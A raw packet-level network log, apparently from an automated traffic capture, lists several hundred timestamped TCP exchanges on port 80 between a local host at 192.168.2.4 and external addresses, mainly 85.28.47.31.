Jul 27, 2024 05:39:19.361221075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361257076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361259937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361274958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361293077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361304045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361326933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361335993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361360073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361371040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361394882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361403942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361429930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361435890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361476898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361479998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361514091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361520052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361547947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361561060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361582041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361593008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361632109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361634016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361675978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361685038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361720085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361730099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361752033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361761093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361797094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361805916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361851931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361855030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361896992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361903906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361937046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.361947060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361984015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.361987114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362021923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362029076 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362055063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362065077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362087965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362098932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362121105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362131119 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362155914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362164974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362190962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362200022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362224102 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362235069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362257957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362272978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362292051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362303972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362324953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362334967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362366915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362375021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362420082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362426043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362458944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362471104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362492085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362504005 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362521887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362536907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362565041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362572908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362617016 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362627029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362668991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362675905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362709999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362721920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362742901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362754107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362777948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362787962 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362812042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362822056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362845898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362857103 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362879038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362889051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362912893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362922907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362945080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362957001 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.362978935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.362989902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363013029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363023996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363058090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363064051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363099098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363109112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363142967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363151073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363183975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363198042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363217115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363228083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363250017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363260984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363286972 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363292933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363325119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363332033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363359928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363372087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363404036 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363409996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363456011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363461971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363495111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363506079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363538027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363543987 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363579988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363590956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363621950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363629103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363673925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363679886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363713980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363724947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363745928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363759041 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363778114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363789082 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363811016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363825083 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363845110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363857031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363874912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363889933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363907099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363919020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363940954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363951921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.363976002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.363985062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364008904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364020109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364041090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364053011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364078999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364092112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364110947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364124060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364144087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364156961 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364177942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364187002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364212036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364222050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364244938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364255905 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364279985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364289045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364312887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364325047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364348888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364356995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364382982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364396095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364419937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.364428997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.364464045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.418025017 CEST	80	49485	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:19.420479059 CEST	49485	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:19.450879097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.450915098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.450948954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.450990915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451025009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451375008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451431990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451443911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451481104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451488018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451524973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451534033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451579094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451586008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451622009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451630116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451656103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451664925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451692104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451699018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451735973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451745033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451787949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451795101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451828957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451838017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451862097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451868057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451914072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451919079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451950073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451957941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.451982975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.451992989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452020884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452024937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452054024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452065945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452089071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452097893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452121973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452131987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452157021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452163935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452189922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452199936 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452235937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452243090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452276945 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452289104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452311039 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452317953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452344894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452353954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452378988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452385902 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452424049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452430010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452462912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452474117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452502012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452862024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452914953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.452917099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452954054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.452965021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453008890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453015089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453047991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453058004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453089952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453105927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453149080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453155041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453188896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453197956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453222036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453229904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453258991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453264952 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453300953 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453309059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453342915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453352928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453377962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453386068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453412056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453423023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453445911 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453454018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453480959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453490973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453512907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453522921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453546047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453556061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453581095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453588963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453624010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453635931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453679085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453687906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453721046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453731060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453753948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453763008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453790903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453795910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453825951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453834057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453859091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453867912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453892946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453901052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453927040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.453931093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453969955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.453978062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454010963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454021931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454044104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454051018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454077959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454086065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454118967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454129934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454173088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454179049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454221964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454230070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454262018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454272032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454303026 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454312086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454359055 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454375029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454392910 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454401970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454426050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454437017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454462051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454468012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454494953 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454507113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454530954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454539061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454564095 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454574108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454598904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454606056 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454632044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454641104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454668045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454677105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454701900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454711914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:19.454736948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:19.454745054 CEST	49477	80	192.168.2.4	85.28.47.31
